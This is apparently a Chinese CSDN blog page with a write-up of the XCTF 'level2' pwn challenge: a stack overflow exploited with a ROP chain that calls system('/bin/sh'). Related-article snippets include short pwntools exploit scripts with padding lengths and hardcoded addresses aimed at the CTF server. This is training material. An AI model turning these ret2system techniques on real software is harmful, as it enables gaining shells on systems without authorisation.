攻防世界pwn新手练习（level2）

最新推荐文章于 2023-04-08 15:55:27 发布
最新推荐文章于 2023-04-08 15:55:27 发布
阅读量769 收藏
点赞数
分类专栏： pwn 攻防世界
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/qq_43681242/article/details/103649702
版权

level2

在这里插入图片描述
可以看到题上已经有提示了（ROP）
我们看一下程序的保护状态和它的运行情况
在这里插入图片描述
开了NX，问题不大。运行可以发现有一个输入点
放IDA里看看
在这里插入图片描述
在这里插入图片描述
在字符串窗口可以发现有**/bin/sh**，并且左边的函数窗口可以看到在 .plt 段有system 函数
这就很舒服了呀，再结合一下题目给的提示，构造ROP链就行，效果如下：
在这里插入图片描述
具体EXP如下：

from
最低0.47元/天 解锁文章
攻防世界(pwn篇)---level0
飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘飘
04-13 1794
攻防世界(pwn篇)—level0 文章目录攻防世界(pwn篇)---level0题目描述基本情况分析运行分析IDA 分析分析出payloadexp 题目描述 菜鸡了解了什么是溢出，他相信自己能得到shell 基本情况分析 发现只开启了 NX(数据不可执行)保护机制，因此可以做栈溢出漏洞攻击。 1.RELRO: RELRP会有Pratial RELRO 和FULL RELRO，如果开启FULL RELRO，意味着我们无法修改got表 2.Stack: Canary found 表示不能直接用溢
攻防世界level2
weixin_43489686的博客
03-30 361
我这种菜鸡就打打这种签到题刷刷存在感吧。。。 32位，基本没啥保护 简单溢出 system函数地址和/bin/sh地址都有了 直接上exp from pwn import * p = remote('111.198.29.45',55216) bin_sh = 0x804A024 system = 0x8048320 payload = 'a'*0x88+'a'*4+p32(syst...
攻防世界 pwn 新手练习区 level2
ChaoYue_miku的博客
07-05 994
题目描述：菜鸡请教大神如何获得flag，大神告诉他‘使用面向返回的编程(ROP)就可以了’ ** 0、使用file命令查看文件类型，使用checksec查看保护情况，尝试打开文件 ** 32位ELF文件，开启了NX保护和部分地址随机化 （其实checksec就有包含了file的功能） ** 1、使用IDA32 Pro打开文件 ** 题目描述中有提示：面向返回的编程(ROP)，所以就要寻找并构造ROP链。 首先查看main()函数 发现有一个vulnerable_function()函数，点进去看一下
攻防世界PWN新手题(PWN——level2)
0pt1mus
12-20 957
level2 转载自原创superj.site 0x00 首先通过file和checksec分析该题的附件。 判断该文件是32位的ELF文件，只开启了不可执行的保护。 0x01 开始进行反汇编，用IDA 32位。 通过左侧的函数窗口发现，只有main、vulnerable_function可用，因此进行分析，两个函数如下图： 通过分析发现，在main函数中首先调用vulnerable_fun...
攻防世界 pwn新手 level2
kwist_jay的博客
06-14 532
这里我们先下载附件，查看一下文件信息： 32位的i386程序，这里我们用IDA32打开,查看main函数的伪代码 顺藤摸瓜找到输入点buf： 这里我们查看buf的栈结构，他只用了0x88字节但是给了100字节的输入空间，明显的栈溢出 最后两位的返回值s是一个4字节的数组，r为程序返回的地址，就是我们要操作的东西 初步的payload可以定为 'a'*0x88+'aaaa'+..... 我们再往下看，做pwn一般就是找到system函数然后运行自己的命令，所以我们找到了_sy...
攻防世界-pwn新手区-level2
CHAWUCIREN1的博客
07-26 328
根据题目提示，这个题需要使用rop 运行一下，再file一下 检查一下保护机制 丢入ida 查看vulnerable_function函数，发现有system，证明plt表有这个数据 可以发现申请0x88的空间，但是却能输入0x100，存在栈溢出 和之前的题目相比，这次没有"/bin/sh"函数 结合题目的提示，我们需要自己构造rop buf为0x88，加四个字节到返回地址ret， 利用gdb打印system的地址 system_addr = 0x8048320 发现有’/bin/sh’ bi.
攻防世界 Pwn level2
MrTreebook的博客
07-16 596
攻防世界pwn level2 1.file 和 checksec 先走一遍 是一个32位的文件 看到 RELRO的状态是 Partial 2.放进IDA32看一下 有一个system函数 进入vulnerable_function看一下 buf可以溢出 进入栈空间看看 136byte的buf再加上4byte的数据溢出返回system的地址 本题开始前就提示我们用ROP 现在去plt表上暴露system的地址 3.编写exp 先构造paylod system_plt = elf.plt["syst
攻防世界pwn新手练习区——level0
smsyz2019的博客
10-31 1731
这是一个简单的利用栈溢出漏洞进行简单的ROP 下载附件，将程序放进虚拟机中 拿到程序首先检查程序开启了什么保护,输入 checksec 程序名称 checksec level0 可以看到这是一个64位程序，只开启了NX保护。NX保护简单来说就是代码不可执行。 例如你向栈上输入一段shellcode，那么NX保护就是防止这个shellcode的执行。 具体内容和其他的程序保护可以参考这个博客。l...
攻防世界 pwn 新手练习区 level0
ChaoYue_miku的博客
07-01 620
题目来源： XMan 题目描述：菜鸡了解了什么是溢出，他相信自己能得到shell 0、根据题目描述，猜测是栈溢出漏洞，使用checksec检查保护机制，同时运行一下文件。 64位文件，开启了NX保护 1、使用IDA 64 Pro打开文件 read()函数明显存在栈溢出漏洞，buf距离栈底0x80个字节，然而read函数可以读取0x200个字节，查看一下栈结构。 这里可以覆盖返回地址，执行需要的函数 发现存在callsystem()函数，将返回值跳转到这个函数，可以直接getshell， 查看一下函数地址
攻防世界_pwn_level2(萌新版)
TedLau的博客
02-24 2502
首发于鄙人博客：传送门 0x00 前言 32位，NX enabled 0x10 步骤 0x11 main函数 很明显我们需要去查看vulnerable函数。 0x12 vulnerable函数 在这里我们需要向题目中输入若干内容，又观察到buf的长度为0x88，那么我们便可以构造出0x88长度的无关数据，然后再输入4个长度的垃圾数据以覆盖ebp，然...
攻防世界pwn pwn_level2
qq_44370676的博客
08-14 382
首先下下来的文件查壳以及查保护机制
攻防世界PWN-level2
Deeeelete的博客
11-13 1085
题目：level2 开PE看信息，进checksec看详情 进checksec，查看到程序无PIE，堆栈不可执行，无栈保护 跑一遍逻辑，还是hello word 于是开32位IDA查看 f5main函数 看源码，主要就是echo了一个hello world，同时很明显上方有一个显眼的脆弱函数 双击进入脆弱函数查看 单独摘出源码 ssize_t vulnerable_function() { char buf; // [sp+0h] [bp-88h]@1 system("ec
攻防世界 level2
10-04 485
1.题目 2.IDA分析 3.流程分析 流程很简单，输入信息，输出hello world。read函数也存在明显的溢出点。问题是没有找到现成可用的函数cat flag或者调用system函数。因此，只能我们自己构造。 如上图 我们可以获取到system和‘/bin/sh’的地址（注意，/bin/sh在.data段，如果是.rdata段则不能利用，原因还没有找到，可能是因为rdata只读不能执行？知道的读者麻烦评论告知一下~），exp如下： from pwn import...
攻防世界-level2
32bin的博客
04-08 318
【代码】攻防世界-level0。
攻防世界_level2
RMC131的博客
04-10 4421
checksec IDA exp from pwn import * p = remote('111.200.241.244',58154) payload = b'a' * 0x8c + p32(0x08048320) + p32(0) + p32(0x0804A024) p.recvuntil("Input:") p.send(payload) p.interactive() 运行得到flag
【攻防世界 level2】
@一个努力学编程的网安小可爱的博客
01-21 2767
攻防世界 level2 优秀题解 exp 脚本 from pwn import* #p=remote("111.200.241.244",58836) p=process("./21") payload=('a'*0x8c).encode()+p32(0x0804845C)+p32(0x0804A024).encode() #payload='a'*(0x8c)+p32(0x804A038)+p32(0)+p32(0x804A024).decode('unicode_escape') p.sendl
攻防世界pwn新手题答案
最新发布
08-10
回答: 对于攻防世界pwn新手题，其中一个关键是要修改全局变量pwnme的内容。通过格式化字符串的方法，可以实现这个目标。格式化字符串的原理是利用输入的格式化字符串，修改内存中的指定位置的值。具体的方法可以参考CTF-wiki上对格式化字符串的总结。另外，还可以利用栈溢出漏洞来实现攻击。栈溢出漏洞的原理是当输入的数据超过了栈的缓冲区大小时，会覆盖到相邻的内存区域，包括函数返回地址等重要信息。通过溢出覆盖system函数的参数为"/bin/sh"，就可以获取到shell权限。在IDA32中，可以通过查看字符串窗口，找到可以直接利用的字符串，比如system和/bin/sh。这样就可以猜测需要溢出覆盖system函数的参数，实现获取shell的目的。1<em>2</em>3 #### 引用[.reference_title] - *1* *2* [xctf攻防世界pwn基础题解（新手食用）](https://blog.youkuaiyun.com/lplp9822/article/details/89735167)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}} ] [.reference_item] - *3* [攻防世界 pwn 二进制漏洞简单题练习区 答题（1-10题解）](https://blog.youkuaiyun.com/qq_33957603/article/details/122450397)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}} ] [.reference_item] [ .reference_list ]
评论 4
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值